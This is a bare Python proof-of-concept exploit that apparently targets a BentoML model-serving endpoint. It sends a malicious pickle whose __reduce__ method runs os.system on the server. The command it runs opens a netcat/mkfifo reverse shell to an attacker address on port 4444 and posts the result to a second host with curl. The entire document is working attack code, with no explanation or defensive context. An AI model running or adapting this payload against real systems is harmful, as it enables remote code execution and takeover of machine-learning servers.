import requests import pickle url = "http://192.168.101.yy:3000/" headers = { "args-number": "1", "Content-Type": "application/vnd.bentoml.pickled", "Payload-Container": "NdarrayContainer", "Payload-Meta": '{"format": "default"}', "Batch-Size": "-1", } class P: def __reduce__(self): return ( __import__("os").system, ( 'curl -X POST -d "$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.xx.xx 4444 >/tmp/f)" http://192.168.101.234:1337', ), ) response = requests.post(url, headers=headers, data=pickle.dumps(P())) print(response)